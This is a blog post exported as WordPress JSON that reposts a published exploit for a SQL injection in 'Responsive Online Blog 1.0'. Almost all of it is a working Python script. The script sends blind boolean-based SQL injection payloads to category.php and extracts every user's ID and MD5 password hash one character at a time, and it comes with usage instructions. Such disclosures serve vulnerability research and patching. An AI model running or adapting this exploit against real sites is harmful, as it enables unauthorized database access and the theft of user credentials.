{"id":23381,"date":"2022-04-19T19:29:54","date_gmt":"2022-04-19T15:29:54","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166767\/rob10-sql.txt"},"modified":"2022-05-09T07:52:43","modified_gmt":"2022-05-09T03:22:43","slug":"responsive-online-blog-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/responsive-online-blog-1-0-sql-injection\/","title":{"rendered":"Responsive Online Blog 1.0 SQL Injection"},"content":{"rendered":"<p># Exploit Title: Responsive Online Blog 1.0 &#8211; Blind Boolean-based SQLi<br \/>\n# Date: 2022-04-16<br \/>\n# Exploit Author: Gideon Kamioka (@w1ezl)<br \/>\n# Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/14194\/responsive-online-blog-website-using-phpmysql.html<br \/>\n# Software Link: https:\/\/www.sourcecodester.com\/download-code?nid=14194&amp;title=Responsive+Online+Blog+Website+using+PHP%2FMySQL<br \/>\n# Version: v1.0<br \/>\n# Tested on: XAMPP Linux\/7.4.7<\/p>\n<p># Vulnerability: An attacker can perform a blind boolean-based SQL injection attack,<br \/>\n# which can provide attackers with access to the username and md5 hash of all site users.<br \/>\n# Vulnerable file: \/category.php<\/p>\n<p># Usage: python3 exploit.py http:\/\/localhost\/blog\/category.php<\/p>\n<p># Proof of Concept:<\/p>\n<p>#!\/usr\/bin\/python3<\/p>\n<p>import sys,requests,re<\/p>\n<p>def cred_Length(ip,p,max):<br \/>\nf = requests.get(ip, params=f&#8217;id={p.replace(&#8220;[i]&#8221;,str(125))}&#8217;, verify=False)<br \/>\nfailLen=len(f.text)<\/p>\n<p>for k in reversed(range(1,max)):<br \/>\nr = requests.get(ip, params=f&#8217;id={p.replace(&#8220;[i]&#8221;,str(k))}&#8217;, verify=False)<br \/>\nif (len(r.text) != failLen):<br \/>\nreturn k<br \/>\nreturn None<\/p>\n<p>def search_Credentials(ip, p):<br \/>\ncharlist=&#8221;abcdefghijklmnopqrstuvwxyz0123456789:ABCDEFGHIJKLMNOPQRSTUVWXYZ!\\&#8221;#$%&amp;\\\\\\'()*+,-.\/:;&lt;=&gt;?@{|}~[]^_`&#8221;<br \/>\nf = requests.get(ip, params=f&#8217;id={p.replace(&#8220;[CHAR]&#8221;,str(125))}&#8217;, verify=False)<br \/>\nfailLen=len(f.text)<\/p>\n<p>for k in charlist:<br \/>\nr = requests.get(ip, params=f&#8217;id={p.replace(&#8220;[CHAR]&#8221;,str(ord(k)))}&#8217;, verify=False)<br \/>\nif (len(r.text) != failLen):<br \/>\nreturn ord(k)<br \/>\nreturn None<\/p>\n<p>def logo():<br \/>\nart = R&#8221;&#8217;<br \/>\n\u2591\u2591\u2591\u2591 \u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591 \u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591 \u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591\u2591<br \/>\n&#8221;&#8217;<br \/>\ninfo = &#8220;\\033[0;34mResponsive Online Blog 1.0 \/category.php\\033[0m -\\n Boolean based Blind Credential Extractor&#8221;<br \/>\ncredits = &#8216;Created by \\033[1;35m@w1ezl\\033[0m&#8217;.center(80)<br \/>\nwarning= &#8220;\\033[3mThis script could take up to \\033[1;31;103m10 minuites\\033[0m\\033[3m to extract a single credential.\\nGo get cofee and chill or something.\\033[0m&#8221;<br \/>\nprint(f&#8221;{art}\\n{info}\\n{credits}\\n\\n{warning}\\n\\n&#8221;)<\/p>\n<p>def main():<br \/>\nlogo()<\/p>\n<p>if len(sys.argv) != 2:<br \/>\nprint(f&#8221;(+) Usage python3 {sys.argv[0]} &lt;target&gt;&#8221;)<br \/>\nprint(f&#8221;(+) Eg: python3 {sys.argv[0]} http:\/\/localhost\/blog\/category.php&#8221;)<br \/>\nsys.exit(-1)<\/p>\n<p>target = sys.argv[1]\npayloadA = &#8220;1&#8217;AND+(SELECT+count(*)+FROM+membership_users)=[i]&#8211;+-&#8221;<br \/>\npayloadB = &#8220;1&#8217;AND+length(substring((SELECT+CONCAT(memberID,&#8217;:&#8217;,passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),1,60))=[i]&#8211;+-&#8221;<br \/>\npayloadC = &#8220;1&#8217;AND+ascii(substring((SELECT+CONCAT(memberID,&#8217;:&#8217;,passMD5)+FROM+membership_users+LIMIT+1+OFFSET+[o]),[i],1))=[CHAR]&#8211;+-&#8221;<br \/>\nprint(&#8220;(+) Starting Exploit:&#8221;)<\/p>\n<p>n = cred_Length(target, payloadA, 30)<\/p>\n<p>if n is None:<br \/>\nprint(&#8220;(+) No creds Found:&#8221;)<br \/>\nprint(&#8220;(+) exiting&#8230;&#8221;)<br \/>\nsys.exit(-1)<br \/>\nelse:<br \/>\nprint(f&#8221;(+) {n-1} creds Found:&#8221;)<\/p>\n<p>for i in range(0,n-1):<br \/>\nb = payloadB.replace(&#8220;[o]&#8221;,str(i))<br \/>\ncredLen = cred_Length(target, b, 60)<\/p>\n<p>for j in range (1, credLen+1):<br \/>\np = payloadC.replace(&#8220;[i]&#8221;,str(j))<br \/>\nc = p.replace(&#8220;[o]&#8221;,str(i))<br \/>\nsys.stdout.write(chr(search_Credentials(target, c)))<br \/>\nsys.stdout.flush()<br \/>\nprint(&#8221;)<br \/>\nprint(&#8220;done&#8221;)<\/p>\n<p>if __name__ == &#8216;__main__&#8217;:<br \/>\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Responsive Online Blog 1.0 &#8211; Blind Boolean-based SQLi # Date: 2022-04-16 # Exploit Author: Gideon Kamioka (@w1ezl) # Vendor Homepage: https:\/\/www.sourcecodester.com\/php\/14194\/responsive-online-blog-website-using-phpmysql.html # Software Link: https:\/\/www.sourcecodester.com\/download-code?nid=14194&amp;title=Responsive+Online+Blog+Website+using+PHP%2FMySQL # Version: v1.0 # Tested on: XAMPP Linux\/7.4.7 # Vulnerability: An attacker can perform a blind boolean-based SQL injection attack, # which can provide attackers with access &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-23381","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23381","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=23381"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/23381\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=23381"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=23381"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=23381"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}